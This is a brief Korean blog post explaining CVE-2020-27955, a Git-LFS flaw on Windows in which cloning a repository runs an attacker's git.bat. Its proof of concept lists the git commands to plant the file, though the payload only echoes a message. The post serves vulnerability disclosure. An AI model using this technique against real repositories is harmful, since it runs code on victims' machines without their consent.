[하루한줄] CVE-2020-27955: Git-LFS RCE Exploit
URL
Git-LFS RCE Exploit CVE-2020-27955
Target
Git <= 2.29.2-git-lfs
Explain
대용량 파일을 업로드 하기 위해 github에서 개발한 extension인 git-lfs(Large File Storage)에서 Windows를 대상으로 원격 코드 실행이 가능한 취약점이 발견되었습니다.
해당 취약점을 악용하여 git-lfs로 업로드한 파일이 있는 저장소에서 Windows 시스템의 피해자가 저장소를 복제할 때 상호작용 없이 공격자의 악성 바이너리가 실행될 수 있습니다.
취약점의 PoC는 아래와 같습니다.
공격자는 저장소에 실행할 명령어를 포함한
git.*
이름의 windows 바이너리 형식 파일을 추가합니다.git.bat : @echo git-lfs RCE exploit!! git add git.bat
저장소에 lfs 파일을 추가합니다.
git lfs track "* .dat" git add .gitattributes echo "git exploit PoC"> lfs.dat git add lfs.dat
바이너리와 lfs 파일을 커밋하고 원격 저장소에 업로드합니다.
git commit -a -m "git-lfs exploit" git remote add origin https://repository_url git push -u origin master
Windows 시스템에서 clone할 때 git-lfs 취약점이 트리거되어 기존 git 바이너리 대신 공격자의 원격 저장소에서 clone한 악성
git.bat
이 사용자 상호작용 없이 실행됩니다.PowerShell> git clone https://repository_url git-lfs RCE exploit!!
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.